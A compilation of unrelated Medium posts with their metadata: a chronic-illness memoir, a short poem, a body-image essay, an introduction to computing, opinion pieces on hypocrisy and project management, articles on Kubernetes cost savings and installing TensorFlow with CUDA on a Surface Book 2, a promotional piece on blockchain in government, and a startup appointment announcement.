With my flight back to Nashville booked, I soaked up my last few weeks with my parents in Dallas. A week before my flight, I woke up with a swollen and pained left leg. Hoping it was nothing serious, while deep down knowing how these things typically go with luck like mine, I elevated the leg in hopes that the swelling would go away. It did, but to my chagrin the pain didn’t go with it. I recognized the symptoms, and told my Mom we should go to the ER to get an ultrasound in case I had a deep vein thrombosis (DVT) blood clot. I had had one before, a year and a half ago, in my right arm. One ultrasound later, I had confirmation of a large blood clot in my left leg. Just as the ER nurse was about to start an IV to prepare for admission, Dr. J, who had apparently been watching my chart, intervened. He also knew that bad luck made me its friend, so he didn’t want to take any chances with procedures or anything else. At his request, they sent me home with a prescription for blood thinners. For the past two weeks I’ve been slowly recovering from the clot, and I’ve rebooked my flight back to Nashville for two weeks from now. As I said, I do my best to go with the flow, but even I get frustrated sometimes. I’ve been pretty quiet these past two weeks, just thinking, sending emails. It feels like I’ve been to hell and back and the hits just keep coming. Just to upgrade my recovery to challenge mode, my brother (who is a teenager and hence lives here at my parents’ house) tested positive for COVID last week, so I’ve been dodging a virus on top of…*gestures wildly*. Fortunately I tested negative, but the anxiety is real nonetheless.
So as far as my body goes, I’ve got a blood clot. I’m going to be on blood thinners for a while. But things aren’t really settled in my mind yet either.
My relationship to food is still in flux. In the past, I’ve been unable to eat food for periods as long as six months. I’ve been assigned diets with low sugar, I’ve been assigned diets with high fat. Low fiber, high sodium. Parenteral nutrition, tube feeding. Food is one of my greatest pleasures just as much as it is one of my most important chores. Eating is a joy, eating is an assignment, eating is intentional, eating is survival, eating is work. Over time I’ve come to learn that there are few things I hate more than unsolicited opinions regarding my diet. The volume, the contents, it all has a purpose whether your realize it or not. I’ve learned to keep my mouth shut because this could also be true of anyone on Earth.
My relationship to my body is still in flux. I’ve been 99 pounds and I’ve been 150 pounds. I expect to lose some weight here and there and eventually gain some weight in the not-too-distant future. But not too much. No one knows exactly what weight I’ll end up. As a human, I think constantly about my body. As a chronically ill human, I think constantly about my body. With the premium the gay community places on appearance and body type, thereby awarding social currency, I think constantly about my body. But the greatest gift and the greatest curse ever given to me by chronic illness is lack of control. My weight and body type will forever be dictated by nutrition absorbed by my intestines, of which I only have so much left. I’m always going to be thin, generally, and there’s nothing I can do about it. It is purposeless for me to desire that my body be anything other than what it is, so while I feel limited, I also feel free. Free to recognize my body for the wonder that it is, all that it has been through, and the incredible work that it does to keep me alive. Free from the pressure to conform to a standard, because I couldn’t even do it if I wanted to. Nevertheless I’m human, and I find myself staring in the mirror, sometimes satisfied and often not, but always knowing the reflection that I see is beyond my control for better or worse.
My relationship to others is still in flux. Prior to this summer’s surgery, I had essentially tossed the idea of non-platonic interaction in the garbage. I had no desire to think about dating or sex. There was too much explaining, too much apologizing for simply existing as chronically ill. I was tired of justifying my existence. Since surgery, and the subsequent quality of life increase, suddenly interactions that supercede the platonic no longer seem so far-fetched. With no ileostomy pouch and no intravenous access, there would be nothing to explain except for my scars. And I actually feel terrible about that. What of those for whom ileostomy reversal isn’t an option? They can’t wait for surgery to put themselves out there. Was I not tacitly implying that they couldn’t be desired as they are? Was my hiding an act of cowardice? Was I not brave enough or strong enough? Or worse, had I internalized ableism and the rejection I assumed would come from others was a projection of my own self-loathing? I try to avoid the word “normal” as it posits able bodies as the default, but I can’t help but feel that secretly it’s what I was waiting for. I could get back to interactions beyond the platonic when I had a “normal” body again, one that would require no apologies and no disclaimers. This isn’t the type of attitude I stand for and it’s not something I’m proud of, but all I can be is honest with myself.
That said, my relationship to myself is still in flux. I’m still a little lost without the markers of my identity for the past six years. The brief period between my first and second midgut volvuli was the most peaceful time of the last decade, and I know now that it wasn’t true peace, just the eye of the storm. So I’m not quite sure who to be now that I feel I’ve closed that chapter and moved on. Age 15–24 was a time of enormous change. Beyond medical things, I went through most of high school, all of undergrad, and a Master’s program in that time. I moved from Dallas, to Houston, to Nashville. Now it feels as though I’ve stopped running and paused to take my first breath in 10 years, and I don’t know where to go from here. I have a whole life to figure it out, I suppose.
The one thing that hasn’t changed, is that I am still, at 25, fundamentally the same entity. All my memories are my memories. My brain is my brain, even if it’s racing a mile a minute. My guts are my guts, as much as they’ve been put through. My blood is my blood, even if I’ve had a few transfusions and a couple clots. The Me who is greater than the sum of his parts has gotten me this far, and that’s what I’ve got to grip with all of my strength while everything around and within me continues to shift. As it should! Lest we forget I’m only 25. | https://medium.com/@kekeivory/25-381f94e674cd | ['Keshawn Ivory'] | 2021-08-27 11:28:15.567000+00:00 | ['Thoughts', 'Personal', 'Birthday', 'Reflections'] |
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Bi by Bi | Pieces of me
all over the place,
hidden in plain sight.
Kept in secret,
even from me.
It took decades to put myself together,
to fix the puzzle of me.
Who am I?
Who do I cherish?
Who can I love?
Now I know,
now I understand.
How come I didn’t see it before?
I’m still the same.
The one difference?
I can recognize the whole of me,
what my heart needs and aches for,
what makes my body tremble,
what quenches my thirst.
These pieces of me,
now in their rightful place.
Bit by bit, I uncovered these fragments of truth.
Bi by bi, I embraced them. | https://medium.com/prismnpen/bi-by-bi-ea59e351dcd9 | ['Gb Rogut'] | 2020-05-21 19:56:00.890000+00:00 | ['Poetry', 'Equality', 'Love', 'Passion', 'LGBTQ'] |
What Not To Say When Your Kid Says They Don’t Like Their Body. | What Not To Say When Your Kid Says They Don’t Like Their Body. Angela Barnett Jul 5·4 min read
Photo by Andre Hunter on Unsplash
I’m no parenting expert and I don’t even like ‘tips for parents’ because they often sound really good but they don’t seem to work for my kids. And then I wonder if it’s me, my kids or the expert who got it wrong.
I really just wrote that headline so you would open this hoping to find something to say to your kids when they say they don’t like their bodies.
I don’t have the perfect words. I don’t even have very good words.
All I’ve got is the words I would have said to myself if I could go back to when I didn’t like my body and was able to say something. Current me to younger me. But as I can’t do that I’m sharing these words with you in the hopes you might be able to filch a gem and change it around to make it work with your kids.
And if it doesn’t work, you know who to blame. Me, the not parent expert.
Here’s younger me. Aged 9. Ish. And that’s my best friend Hilary.
I used to be ashamed of this snap in the family photo album and stashed it under my bed. I hated how I looked bigger than Hilary.
If I could have a chat to myself I would say “it’s OK!” But you’re hating on the wrong thing.
There is nothing wrong with either of your bodies.
What’s wrong is that society has told young girls that they should be small and not take up too much space in this world.
What’s wrong is that our culture tells young girls not be too tall, too big, too loud, too strong, too anything other than small and pleasing and pretty.
Pffft.
You can hate on this idea and get as angry as you like and raise your fists against this ridiculousness and call BS but never ever hate on your body because it doesn’t know the rules society creates — and they’re mostly created to keep us fearful and spending money on things like diets and potions and lotions and gym memberships (which never make you taller or shorter no matter what they promise).
The good news is your body has its own plan! It really does.
It already knows how to get you through the crazy thing coming up called puberty — and buckle up, this will be a wild ride. You might have growth spurts, then your body might rest and not grow for a while. It knows how tall and how big you will be when you’ve finished doing all the growing. It even knows how big your boobs will be (but maybe lower your expectations in this department).
Your body is doing the best it can to push through gravity and help you grow upwards. It’s a goddam miracle.
The only thing you need to do is be your body’s champion. Be kind to it and keep enjoying it.
When you’re not posing for dumb photos, keep burning down the hill pedalling like a crazy mofo with Hilary hanging onto your carrier on roller skates.
Keep finding the things that make your body feel good.
Float.
Dance.
Read in your favourite tree.
I know you and Hilary make jokes about your size, telling people she was a prem baby to explain your differences but don’t keep saying that. It adds to this idea that girls and women are meant to shrink themselves down to be small and pleasing and pretty — and all look the same.
You’re both growing differently and you’re meant to be different. Like flowers and plants and trees.
This is your one life in that one body that’s built just for you — correction, that you’re building all by yourself, just for you.
So you have permission from me to say a big UP YOURS to any rules about what you should or shouldn’t look like.
And btw, that yellow dress is GOLD.
Love,
Older you. Or maybe it’s older me. | https://medium.com/@AngelaMBarnett/what-not-to-say-when-your-kid-says-they-dont-like-their-body-6349fa7e4eb1 | ['Angela Barnett'] | 2021-07-05 07:07:37.048000+00:00 | ['Body Image', 'Body Positive', 'Kids', 'Acceptance'] |
A Concise Introduction to Computing | A computer is a machine which can be programmed to carry out logical and arithmetic computations sequentially and automatically. It does this by accepting user-defined input and then processes the input to produce output. The components of a computer fall into two categories, namely hardware and software. The hardware consists of the tangible or physical components of the machine, such as the mouse, keyboard, monitor, hard disk and the system unit. The software consists of a set of instructions that perform various functions, examples of software include systems software and application software.
Computers are ubiquitous in the modern world. Various industries, such as banking, manufacturing, education, and medicine, are currently using computers to increase productivity. Computers are utilized to automate manual tasks deemed too dangerous for humans or those that require very precise calculations. Computers process data at high speeds and are thus used in preforming millions of calculations per second.
Classification of computers.
Supercomputers
Supercomputers are the fastest and the most expensive modern computers. Supercomputers perform billions of calculations every second. They are owned by governments, corporations, universities and research institutions so they can perform complex tasks, such as engineering, generating complex graphics, and stock analysis
Mainframe Computers
These are large computers capable of processing data at very high speeds. They can compute millions of instructions per second. They are also expensive. They are mostly utilized by governments, companies, and universities.
Personal Computers
Personal computers are often called PCs. They are the most popular and they are relatively affordable. They can be used by either one user at a time or networked to be used by several users.
READ MORE https://hubpages.com/technology/A-Concise-Introduction-to-Computing | https://medium.com/@mutembei_jeff/a-concise-introduction-to-computing-9e02d8f34e49 | ['Erudite Seo Geek'] | 2019-03-07 19:18:00.083000+00:00 | ['Information Technology', 'Technology', 'Computers', 'Computer Science'] |
A Basic Principle: Don’t Be a Hypocrite | Questionably Helpful Self-Help
A Basic Principle: Don’t Be a Hypocrite
If you can’t practice what you preach, the next best thing you can do is hush your mouth unless you want to start choking on the foot that’s in it. Chelle Licci Follow Dec 26, 2020 · 5 min read
Photo by visuals on Unsplash
“Do as I say, not as I do.”
That phrase, in my book, is one of the most obnoxious in existence — right underneath “Because I said so.”
There are two particular behaviors that are pet peeves of mine. One of them involves giving orders for no logical reason other than for the sake of exercising privileges of authority. The other is what I’ll be focusing on today: hypocrisy.
When it comes down to it, what fundamentally irks me about hypocrisy is that it unfairly burdens the recipient with unrealistic expectations to fulfill. Instead of holding the speaker accountable for the disconnect between their own words and actions, it shifts responsibility over to the listeners instead.
In essence, hypocrisy is a method by which a person attempts to avoid consequences for their own inconsistencies by framing the narrative onto others. Of course, this is only effective until the hypocrisy is brought to light — upon which the hypocrite tends to be viewed as either deceptive, incompetent, or both.
However, like most things, there are different scopes of hypocrisy that exist across different situations.
Photo by Tim Mossholder on Unsplash
Exhibit A: The Altruistic Hypocrite
The behavior demonstrated by the altruistic hypocrite is fairly mild, and is one of the most common anyone can encounter. Sometimes, the hypocrisy exhibited by these types are so subtle — it can often go unnoticed. The altruist’s hypocrisy is typically non-malicious. You can often find this type among close friends, workers in occupations dedicated to helping others, and general do-gooders. The intent of what they express is generally good-natured in that they genuinely want to help others in some way — whether it be physically or emotionally.
But you know what they say: “The road to hell is paved with good intentions.” And this perfectly describes the shortcomings of the altruistic hypocrite. By failing to conform to the advice they’re so adept at providing others, it can be difficult to take them seriously. After all, it can be challenging to believe in the well-meaning guidance someone may have if they don’t apply it to their own lives.
If you find yourself identifying with this type — do not despair. I’m not here to shame you or roast you. But there’s a key takeaway that I do want to emphasize: if you can help it, don’t be a hypocrite. At least try to adhere to the advice you give others. Otherwise, it diminishes the quality of your words and makes it hard for others to take you seriously.
Photo by Icons8 Team on Unsplash
Exhibit B: The Economic Hypocrite
This type of hypocrite exhibits behavior that’s more moderate in severity. That is, the nature of the hypocrisy is more deceptive for the purpose of some sort of personal gain — whether it be financially or socially.
The economic hypocrite is commonly found amongst authors of self-help books, self-help bloggers, internet influencers, well-to-do politicians, multi-level marketers, and even figures in religious organizations. The beliefs and principles expressed by this subgroup are inherently not bad per se, but those who demonstrate this type of hypocrisy are often in a position where they can profit from others who follow their advice.
While there are some economic hypocrites who seem to share qualities of the altruistic hypocrite — the difference between the two depends on the presence of personal gain. The altruistic hypocrite does not seek compensation or profit from others who heed their words. The economic hypocrite either actively seeks profit or is in an influential position where their ability to sway others with their words can rake in profits.
But, you know what they say: “What goes up must surely come down.” which is also another way of saying “Karma’s a bitch.” The economic hypocrite may be able to quickly build a sustainable career by profiting off of the naivete of vulnerable individuals seeking help with navigating their lives. But, that same career is also capable of rapidly crashing in a downward spiral once their hypocrisy is found out. People generally don’t like to feel used or deceived — so if you decide to do both by being an economic hypocrite, don’t be surprised by the backlash.
Photo by Markus Winkler on Unsplash
Exhibit C: The Narcissistic Hypocrite
This subtype exhibits what could be described as the most severe form of hypocrisy: absolutely shameless. The narcissistic hypocrite may be incompetent at following their own rules. Or they may be blatantly trying to impose unrealistic standards onto others because they have an over-inflated ego and/or a superiority complex.
In general, the narcissistic hypocrite gives zero fucks about the effect they have on others. So long as they can obtain what they personally want, the ends justify the means. I would also like to reiterate that narcissistic hypocrites may be manipulative and/or malicious — but this does not always equate to a demonstration of intelligence. There exist individuals of this subtype who are generally tone-deaf when it comes to social cues, and may even be oblivious to the absurdity of their own hypocrisy.
Thankfully, the narcissistic hypocrite is not a common encounter. However, should one cross your path, it’s best to maintain caution so as to not unnecessarily attract their attention. Otherwise, you’re in for a headache of an encounter that’s sure to be memorable for all the wrong reasons. And yes, you would be correct to assume that the Karen archetypes are the epitome of narcissistic hypocrisy.
Closing Thoughts
I’m sure I could go on elaborating on my observations regarding hypocrisy, but I’d like to at least make sure the key takeaways are stated.
If you give advice you can’t follow, don’t be surprised if either you as a person or the merit of your words aren’t taken seriously.
If your words are inherently valuable, but you can’t conform to it — at least own up to it. While success is not 100% guaranteed, being transparent tends to be viewed more favorably than trying to hide your actions.
The more mindful you are about hypocrisy, the easier it is to avoid being a hypocrite.
[Disclosure: The contents of this article are opinion-based from the author’s perspective inspired by observation and experience. This is not intended to be a reliable resource on the social phenomenon that is hypocrisy. If anything, please regard the ideas conveyed in this piece with a grain of salt.] | https://medium.com/the-bad-influence/a-basic-principle-dont-be-a-hypocrite-7fbf84e2908b | ['Chelle Licci'] | 2020-12-26 21:02:11.751000+00:00 | ['Life Lessons', 'Opinion', 'Self Improvement', 'Behavior Change', 'Self-awareness'] |
Cost, time and scope | CTA (Cost, Time and Scope)
These three elements must be taken into account for any decision process in the project, since these are the equivalent of the values of a person, the mission of a company.
It is the compass under which a project manager should be guided in order to make decisions and how to report the progress of the project.
To start, and one of the clearest examples, is in change management.
When a change is requested to an element of the project, what has to be done immediately is an evaluation of cost, time and scope, to know the impact and based on this make an informed decision regarding whether or not to proceed. Even when the decision to change does not correspond directly to the project manager, presenting the impact in terms of cost, time and scope to the project’s creditors will make the decision easier to make.
You should think about the cost, time and scope, as if they were defined borders within the project for which specific requirements are required to cross or even redefine.
At the beginning of the project there is a projected cost, if a modification is to be made in time, it must be taken into account if this is going to affect cost and scope, in the same way as if the scope is to be modified you have to take into account how it will affect cost and time.
Photo by Markus Winkler on Unsplash
Experience
In project management, decision-making is the key to keeping a project on track, and many times these decisions have to be made quickly and with little information.
When managing a project, you must have these well-defined borders, what are the expected costs, how long the project will take to complete and what will be achieved in the end.
For the project manager, any element that happens on a day-to-day basis that may cross those borders or may detect a trend that will take the project out of any of those borders is when it must act with contingency plans. | https://medium.com/@toodday-gp/cost-time-and-scope-9914e857ac40 | ['Toodday Project Mangement'] | 2020-12-05 17:01:35.344000+00:00 | ['Success', 'Startup', 'Projects', 'Project Management', 'Productivity'] |
How to Save More Than 2/3 of Engineers’ Kubernetes Cost | How to Save More Than 2/3 of Engineers’ Kubernetes Cost
Explaining how to drive Kubernetes adoption in your organization by eliminating inefficiencies and saving cost for engineers’ access to Kubernetes.
The Cost of the Cloud
Using the cloud is not cheap. If you are using a public cloud, you will get a monthly bill for computing resources, traffic, and for any additional services. But also for a private cloud, the cost is substantial, taking into account the hardware, datacenter, and maintenance cost. (For simplicity, I will assume the public cloud case in the following, but I added a paragraph about private clouds at the end.)
The widespread adoption of Kubernetes has not changed this situation fundamentally. Some say it has only increased cost because the Kubernetes clusters themselves consume resources (e.g. Master node, LoadBalancer, etcd). Others are convinced that Kubernetes could at least reduce the cost because it makes the use of the cloud resources more efficient. Overall, it probably depends on your setting and perspective, but the cost of the cloud remains an issue either way.
Cloud-Native Workflows Cause Additional Cloud Cost
For this, reducing Kubernetes cloud computing cost is always attractive, especially with more and more companies adopting Kubernetes throughout the organization and introducing cloud-native development, which includes giving engineers access to Kubernetes for development, testing, experimentation, or CI/CD (level 2 or level 3 on the cloud-native journey according to this article).
In these cases, companies are sometimes hesitant to spend a lot of money on the cloud as this, contrary to spending money on production workloads, is not directly connected to revenue and customer benefit. Still, giving developers direct Kubernetes access can make a lot of sense and can pay off in terms of higher stability and more efficient workflows, too.
Making cloud-native development cheaper and easier can thus be an important driver for Kubernetes adoption, especially in small and medium-sized organizations. I will, therefore, describe 2 “obvious” inefficiencies of the engineers’ use of the cloud and easy ways of eliminating them to significantly reduce the cost of using Kubernetes. Since developers use the cloud differently than production systems, these cost-saving opportunities are most relevant to non-production environments.
Inefficiency 1: Too Many Clusters
Problem: Many clusters are expensive
An easy option to give every engineer access to a cloud environment is to give everyone an own cluster. However, this is pretty inefficient for several reasons.
Cluster Management Fee. Big public cloud providers such as AWS and Google Cloud charge a cluster management fee for their Kubernetes offerings. If the cluster is running all the time, only the cluster fee will add more than $70 to your bill for every cluster. And this is not including any computing resources that will come on top of that.
Big public cloud providers such as AWS and Google Cloud charge a cluster management fee for their Kubernetes offerings. If the cluster is running all the time, only the cluster fee will add more than $70 to your bill for every cluster. And this is not including any computing resources that will come on top of that. Redundant Kubernetes Functionality. Since every cluster is running independently of the others, they all need to provide the whole Kubernetes functionality themselves. That means that, for example, every cluster needs its own load balancer that could actually be shared by many developers. This makes many clusters rather inefficient from a computing resource perspective.
Since every cluster is running independently of the others, they all need to provide the whole Kubernetes functionality themselves. That means that, for example, every cluster needs its own load balancer that could actually be shared by many developers. This makes many clusters rather inefficient from a computing resource perspective. No Central Oversight. Many clusters make it hard to oversee the whole system. Even with cluster management tools, it is not always clear what each cluster is used for and if it is still used at all. In many cases, clusters will be created for a specific purpose such as a test, but often, they will not be deleted afterward so they continue to run and cost you money without any benefit.
Solution: Share a cluster
The solution to the first inefficiency of many non-production clusters is to share clusters among engineers. That means that only one cluster is used and developers are working with their own namespaces that limit them and isolate them from each other. I wrote a separate article about a comparison of individual clusters and shared clusters, but regarding the described cost efficiencies, sharing a cluster has the following advantages:
Shared Cluster Management Fee. Instead of paying the management fee for every developer as there are many clusters, you only need to pay it once. So, the cost per developer is reduced from about $70 per month to $70 divided by the number of developers and is thus decreasing with the number of developers.
Instead of paying the management fee for every developer as there are many clusters, you only need to pay it once. So, the cost per developer is reduced from about $70 per month to $70 divided by the number of developers and is thus decreasing with the number of developers. Share Kubernetes Functionality. Similar to the management fee, also the Kubernetes functionality can be shared and thus does not need to run redundantly. With more developers sharing it, the load will of course also be higher, but there will definitely still be cost savings from sharing a cluster.
Similar to the management fee, also the Kubernetes functionality can be shared and thus does not need to run redundantly. With more developers sharing it, the load will of course also be higher, but there will definitely still be cost savings from sharing a cluster. Easier oversight. In a shared cluster, it is much easier to control the users, especially if they are created with specialized solutions for this use case, such as a Loft. The cluster-admin has thus less effort to control the system and can shut down unused spaces easily. This shutdown can even be triggered automatically with a “sleep mode” (for more, see below).
Maximum Savings
The Kubernetes cost savings from reducing the number of clusters by sharing a cluster are highest if there are many clusters used before if there are many clusters used before, which is typical for larger teams or if clusters are used for many purposes such as in-cluster development, testing, and staging. The saving effect relative to the total cost is also particularly high if the clusters are rather small and thus cheap. In these cases, a cluster management fee and the redundancy is a comparably expensive cost driver.
Example Calculation
Let’s take a look at a simple example to demonstrate the cost-saving opportunities of reducing the number of clusters by Kubernetes cluster sharing:
If in a small team of 5 developers, everyone gets an own Kubernetes cluster and the clusters are always running, you have to pay $360 only for the cluster management fee. If they share one cluster, you only have to pay the cluster management fee for one cluster, which is $72 per month. In such a small team, you would thus already save $288 just in cluster management fees. (For GKE, one “zonal cluster” is free, so you would pay $288 in cluster management fees for 5 clusters and $0 for one cluster. Overall, the savings remain unchanged.)
On top of that, you could save additional money by sharing the basic Kubernetes features and by a better control which prevents unused clusters. However, since these factors are hard to estimate, I do not add them to the calculation.
Of course, if you use commercial tools such as Loft, you need to pay for these tools, too. In the example of 5 developers using Loft, the cost would be $75.
Your total savings from sharing a cluster would so be at least $213 (60%) for only a small team of 5. | https://medium.com/faun/how-to-save-more-than-2-3-of-engineers-kubernetes-cost-8223cce082b | ['Daniel Thiry'] | 2020-10-15 13:56:04.238000+00:00 | ['Cloud Cost Management', 'Cloud Native', 'Multitenancy', 'Software Engineering', 'Kubernetes'] |
How to set up your NVIDIA GPU on your surface book 2 for machine learning! | Photograph: Microsoft
Now before we begin I must state these are the steps I followed, and yes, I know the GPU on surface book 2 (15 inches) is not the best for intense machine learning, but it is kinda cool and tbh isn’t that crazy of an idea! I see that some avid people are already deep learning on their surface books [1] so I might as well do the same! So here we go!
Zeroth Step: Clean up your PC whilst you are here
Obviously, you can skip this step if you want but before I decide to download software or manipulate the systems on my PC, I like to do a little clean so I do not run into space issues. The best thing to do would be to trigger a disk clean-up, defrag the hard drive (if it hasn’t been defragged for some time), then search for the largest files on your drive and see if you really need them. Doing this I freed up 30 GB of space!
First Step: Is my laptop the same as yours?
I will be stating the steps in relation to the system I have which is shown below:
Processor: Intel(R) Core(TM) i7–8650U CPU @ 1.90GHz 2.11 GHz
Installed RAM: 16.0 GB
System: type 64-bit operating system, x64-based processor
Pen and touch: Pen and touch support with 10 touch points
Discrete graphics: NVIDIA GTX 1060 (6 GB)
Storage: 256 GB
Edition: Windows 10 Pro
Version: 20H2
OS build: 19042.685
Second Step: Look for compatible versions to use TensorFlow with GPU
Taken this straight from the TensorFlow website [2]:
The bits I’ve circled are the most important bits of information. To use TensorFlow with GPU you have to make sure you select the versions of Python, cuDNN, and CUDA to install. We will start off with python as this was the easiest for me.
Third Step: Install Python
Go to the python website and look for any version of python from 3.6 to 3.8. I have 3.6.8 installed (will probably upgrade to 3.8 when I have time, always keep your software updated — unless it messes with your projects😂). ENSURE YOU GET ANACONDA INSTALLED AS IT WILL MAKE THE OTHER STUFF EASY. On the home page currently, there should be a section that looks like the following:
Download the right version and make sure when it is installed you check the version by opening up a command prompt (can be opened by typing ‘Command Prompt’ into the start search bar for windows. You Mac people I don’t know) and typing the command ‘python --version’. Should see something like below:
Fourth Step: Install CUDA
The latest CUDA version as of writing this is 11.2, but as the compatibility table above shows, we need 11.0. To search for archive downloads of CUDA, go here [3]. Select the 11.0 version and follow the selection process for your PC. Your screens should look like the following:
N.B to download CUDA you need to have an NVIDIA developer account but you can easily sign up for that when prompted.
There should be some onscreen steps in order to download CUDA. Follow them through and when that is finished you should check your version by opening the command prompt again and typing the command ‘nvcc --version’. Should hopefully see something like this:
If you get stuck anywhere on your way downloading CUDA, see if you can find answers using their guidelines at [4].
Fifth Step: Install cuDNN
So now onto cuDNN, a little bit more tricky than CUDA as it requires some environment variables being set up. I found following the install guidelines by NVIDIA somewhat helpful [5], but I mainly used these two blogs to get me by, changing the version to cuDNN 8.0: Step 5 in [6] and [7]. Both will show you the files you need to move over from your cuDNN download to your NVIDIA GPU toolkit folders so follow carefully and ensure the environment variables are set properly!
Sixth Step: Install TensorFlow GPU
So there are two different versions of TensorFlow I have learned. The basic version, and the GPU version. Although both can technically be downloaded onto your PC at the same time, we only need the GPU version to execute TensorFlow using our NVIDIA GPU. This requires you to call on the good ol’ command prompt and run it as an administrator this time. Then in your computer folder (C:\) you can execute the following command ‘pip install --tensorflow-gpu ==2.4.0’ this will ensure that the version we need is installed and not a higher/lower version. I have also realized that I needed to also execute this command in anaconda prompt (should have had this installed as a part of the python install). In the anaconda prompt, you should also execute this same command there. There might be some issues with numPy or other package compatibility issues, just follow what the prompt states when these things happen as it will tell you what versions you will need to download in order to get stuff to work
Seventh Step: Test out your changes!
The easiest way to check if your stuff works is to open up any type of prompt (anaconda or command) and type in ‘python’. This will open up a python IDE where we can test! write the following lines, one by one to ensure everything passes properly:
import tensorflow as tf
tf.test.is_built_with_cuda()
tf.test.is_gpu_available(cuda_only=False, min_cuda_compute_capability=None)
The last two statements should return true if your GPU is available. If so, congratulations!
To test out your new installation I suggest following this blog [8] to train some neural networks using Open AI and baselines!
This blog is mainly for me just in case my laptop goes weird and I have to set this up again but I hope some of you might find this informative!
References
[1] https://www.reddit.com/r/Surface/comments/7jed5s/book2_anyone_deep_learning_in_sb2_15/
[2] https://www.tensorflow.org/install/source_windows
[3] https://developer.nvidia.com/cuda-toolkit-archive
[4] Installation Guide Windows :: CUDA Toolkit Documentation (nvidia.com)
[5] https://docs.nvidia.com/deeplearning/cudnn/install-guide/index.html#install-windows
[6] Installing Tensorflow with CUDA, cuDNN and GPU support on Windows 10 | by Dr. Joanne Kitson | Towards Data Science
[7] Blog Installing Tensorflow with CUDA, cuDNN and GPU support on Windows 10 (newzenler.com)
[8] Gym and Baselines on Windows — Samuel Arzt (arztsamuel.github.io) | https://medium.com/@anasthasiamanu/how-to-set-up-your-nvidia-gpu-on-your-surface-book-for-machine-learning-fefeb986f6df | ['Anasthasia Manu'] | 2020-12-25 00:47:30.048000+00:00 | ['Surface Book', 'TensorFlow', 'Gpu', 'Python', 'Surface Book 2'] |
Blockchain For Government | Blockchain technology offers a whole world of possibilities for Government systems.
Not only can it make tasks faster, it can also be an aid in fighting corruption.
How can it do tall that you ask?
Let’s find out . . .
Trustless Transactions
The word “trustless” doesn’t mean that it’s untrustworthy, rather the opposite.
With Blockchain, tasks such as money transactions (eg. Pension) can be automated using smart contracts.
Once a smart contract is implemented, no “middle men” can tamper with it.
This allows for a completely hands-free and seamless operation, eliminating the need for “trust.”
Transparency with Privacy
-The information once stored on the blockchain database can never be tampered with, and it will be available whenever needed.
-You can store the public information on a public blockchain ledger that everyone can access (such as criminal records, employment records).
-Sensitive information (such as medical records) can be stored on a private distributed ledger, making it available to specified persons only.
-This way, the government can access and keep the information they need for providing services to the citizens, while ensuring their privacy.
Enhanced Security
-Blockchain for government and public services add extra layers of security that keep hackers away from the data.
-When you use a distributed ledger for storing your data, on a protected network, it becomes extremely difficult for hackers to get into the system.
-Blockchain is made up of multiple blocks, each block is connected to all the other blocks, and each block has the cryptographic hash of the block before it.
-For a hacker to access the system, they would need to change the data on a block as well as the data on every other block, to avoid detection.
-Each entity that makes a transaction in the block gets a private key assigned to the transactions they make.
-When a hacker tries to make any changes to the data on a block, this key becomes invalid and the peer connection is notified instantly.
-There is no single point of weakness, the data itself is stored on multiple databases and not on a single server, making hacking practically impossible
Fighting Corruption
-Blockchain technology protects your data, not only from hackers but from everyone, making falsifying of data practically impossible.
-You can use authentication to choose who gets the data, while maintaining transparency by making relevant data available to the public.
-The immutable storage keeps data intact, and citizens can easily view and verify data using a Blockchainbased explorer.
-What you see is literally what you get.
Elections
-In the era of ballots, security was a major concern and Ballot boxes were guarded with high levels of security to ensure that the votes were not forged.
-Now, this process is done with the help of electronic devices, but the problem here is that electronic devices can be easily tampered with.
-There have been several reports of voters clicking on one candidate’s button and the vote being cast for the other candidate.
-Blockchain can eliminate this completely by ensuring that each vote cast is authentic, and the immutable storage makes sure that the data is not lost.
In A Nutshell
If Implemented, Blockchain technology has the potential to change the way our system operates, forever.
A change that maximizes efficiency while safe guarding privacy and countering corruption. | https://medium.com/@blockchainx-tech/blockchain-for-government-d1aa92907b37 | [] | 2020-12-21 12:52:52.041000+00:00 | ['Blockchain', 'Blockchain Development', 'Blockchain Technology', 'Blockchain Startup'] |
2021年重要行星相位 | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/%E8%AB%87%E5%A4%A9%E8%AB%96%E5%8F%A4%E5%8D%A0%E6%98%9F%E9%9B%9C%E8%AA%8C%E7%A4%BE/2021%E5%B9%B4%E9%87%8D%E8%A6%81%E8%A1%8C%E6%98%9F%E7%9B%B8%E4%BD%8D-5468120be371 | [] | 2020-12-24 08:13:53.987000+00:00 | ['2021', '過運', '宇宙星象', '占星', 'Astrology'] |
DYZRUPT ANNOUNCES THE APPOINTMENT OF AMB. | DYZRUPT LIMITED
DYZRUPT ANNOUNCES THE APPOINTMENT OF AMB. KWAME A.A OPOKU AS DIRECTOR OF COMMUNICATIONS TO LEAD THE NEXT PHASE OF DYZRUPT LTD.
It has been over a year since Dyzrupt LTD was born. The company is positioned to become one of Africa’s, if not one of the world’s, most disruptive technological start-ups of this generation. Dyzrupt’s objective is to foster wealth creation for Africans and others through creative, unconventional approaches that help address local challenges.
The company had a soft launch on September 01, 2019, and its core team and designers have since been working hard behind the scenes, creating a series of arguably some of the most captivating and far-reaching Blockchain-based innovations of this decade.
KWAME A.A OPOKU
As a strategic addition to its core team, the company is bringing a trail blazer and high-achiever, who is an award-winning futurist, Global Business Keynote Speaker, Brand Architect, Entrepreneur, and Social Media/Digital Marketer; Mr. Kwame A. A. Opoku will officially join Dyzrupt as the Director of Communications effective December 01, 2020.
Mr. Opoku is the current CEO of the Reset Global People, which runs successful flagship initiatives, such as Women Entrepreneurship Festival, the African Women CEOs Summit, and Top 100 Women CEOs in Africa; the Vice Chair of West Africa for the Young CEOs Business Forum, which oversees operations in 16 Countries; and is also the founder of the Ghana AI & Blockchain Forum and Co-Founder of the Digital CEO Summit, which runs in 8 African countries.
The company has an ambitious marketing campaign to bring Dyzrupt products and services to a large segment of the more than 1 billion Africans living on the continent. Kwame will summon his expertise and rich international experience to help make Dyzrupt a household name in Africa.
We are Dyzrupt. Liberating Africans. Changing Lives. | https://medium.com/@dyzrupt/dyzrupt-announces-the-appointment-of-amb-cd28555080cf | ['Dyzrupt Ltd'] | 2020-11-24 10:06:02.434000+00:00 | ['Blockchain', 'Blockchain Technology', 'Cryptocurrency', 'Cryptocurrency News', 'Blockchain Startup'] |
